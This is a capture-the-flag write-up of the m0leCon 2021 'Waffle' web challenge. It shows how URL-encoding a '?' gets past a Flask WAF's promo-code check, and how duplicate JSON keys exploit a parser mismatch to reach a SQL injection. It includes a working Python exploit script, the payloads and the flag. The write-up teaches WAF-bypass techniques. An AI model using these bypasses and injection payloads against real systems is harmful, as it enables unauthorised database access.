Waffle Write-up - m0leCon CTF 2021 Teaser

May 16, 2021

/2021/05/16/Waffle-Write-up-m0leCon-CTF-2021-Teaser/ Yadhu Krishna M

Web Exploitation

Table of Contents

tl;dr

Make a GET request to /gettoken%3fcreditcard=mmm&promocode=FREEWAF to get the token.
Using the token make another request with {"name":"' union select flag, 1, 1, 1 from flag -- -", "name":"x"} to get the flag.

# Challenge Description

We needed to upgrade this app but no one here can code in Go. Easy fix: just put a custom waf in front of it.

Source Code: here

# Analysis

With this challenge, we are given two files in which waf.py acts as a front-end server, and main.go is as a back-end server. On opening up the website, we see that in order to use the search function, a token is needed. And, to get the token, a promo code is to be submitted.

We have a promo code in main.go:

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    if promo == "FREEWAF"{
        cookie    :=    http.Cookie{Name:"token",Value:token}
        http.SetCookie(w, &cookie)
        JSONmessage(w,200,"Take your free token!")
        return
    }

However, this promo code is blocked by the flask front-end server, and is not passed on to the back-end server.

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def catch_all(path):
    print(path, unquote(path))
    
    if('gettoken' in unquote(path)):
        promo = request.args.get('promocode')
        creditcard = request.args.get('creditcard')

        if promo == 'FREEWAF':
            res = jsonify({'err':'Sorry, this promo has expired'})
            res.status_code = 400
            return res

        r = requests.get(appHost+path, params={'promocode':promo,'creditcard':creditcard})

    else:
        r = requests.get(appHost+path)
    
    headers = [(name, value) for (name, value) in r.raw.headers.items()]
    res = Response(r.content, r.status_code, headers)
    return res

There is also a possibility of SQL Injection in the searchWaffle function in main.go, as the variable is directly concatenated with the SQL query.

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query := "SELECT name, radius, height, img_url FROM waffle "
var nFilt = 0

name, err := jsonparser.GetString(reqBody,"name")
if (err==nil){
    nFilt++
    query += "WHERE name = '" + name + "' "
}

Now, our aim is clear. We first need to the front-end server to forward the promocode to the back-end server and get the token. Then, with the token, we have to exploit the SQL Injection in main.go.

# Solution

## Extracting Token

The catch_all function, uses urllib’s unquote method to replace %xx escapes with their single-character equivalent. It then uses request.args to get values from the parameters.

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def catch_all(path):
    print(path, unquote(path))
    
    if('gettoken' in unquote(path)):
        promo = request.args.get('promocode')
        creditcard = request.args.get('creditcard')

        if promo == 'FREEWAF':
            res = jsonify({'err':'Sorry, this promo has expired'})
            res.status_code = 400
            return res

        r = requests.get(appHost+path, params={'promocode':promo,'creditcard':creditcard})

    else:
        r = requests.get(appHost+path)
    
    headers = [(name, value) for (name, value) in r.raw.headers.items()]
    res = Response(r.content, r.status_code, headers)
    return res

To bypass these checks, we urlencode the ?, and make a get request to /gettoken%3fcreditcard=x&promocode=FREEWAF. With this, the Flask server does not detect any arguments.

Both promo and creditcard variables will beNone and the variable path will contain gettoken?creditcard=mmm&promocode=FREEWAF. This bypasses the checks and forwards the request to the back-end server, and we get the token.

token=LQuKU5ViVGk4fsytWt9C

Now, we have obtained access to search method.

## Exploiting SQL Injection

We have already identified that there is a possibility for SQL Injection in searchWaffle method in main.go. However, there are some checks implemented in the front-end server for mitigating this.

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@app.route('/search', methods=['POST'])
def search():
    j = request.get_json(force=True)
    
    badReq = False
    if 'name' in j:
        x = j['name']
        if not isinstance(x, str) or not x.isalnum():
            badReq = True
    if 'min_radius' in j:
        x = j['min_radius']
        if not isinstance(x, int):
            badReq = True
    if 'max_radius' in j:
        x = j['max_radius']
        if not isinstance(x, int):
            badReq = True

    if badReq:
        res = jsonify({'err':'Bad request, filtered'})
        res.status_code = 400
        return res

The search method in the front-end server uses Flask’s JSON parser whereas the back-end server uses a custom JSON parser.

There can be differences in how different JSON parsers parse data. And this could lead to inconsistency. This is called JSON interoperability (Read more about this here).

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{
    "name":"'  union select flag, 1, 1, 1 from flag -- -",
    "name":"x",
    "min_radius":1,
    "max_radius":10
}

The JSON Parser at front-end takes the second value of name whereas the back-end JSON parser takes the first value for name. This helps us to bypass the checks and this causes in an SQL Injection in back-end.

# Exploit Script

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import requests

sess = requests.Session()
host = "http://waffle.challs.m0lecon.it"

sess.get(host + "/gettoken%3fcreditcard=x&promocode=FREEWAF")

print(f"Recieved token: {sess.cookies['token']}")

payload = """{"name":"'  union select flag, 1, 1, 1 from flag -- -","name":"x"}"""
flag = sess.post(host + "/search", data=payload)

print(f"Flag: {flag.json()[0]['name']}")

# Flag

1
ptm{n3ver_ev3r_tru5t_4_pars3r!}

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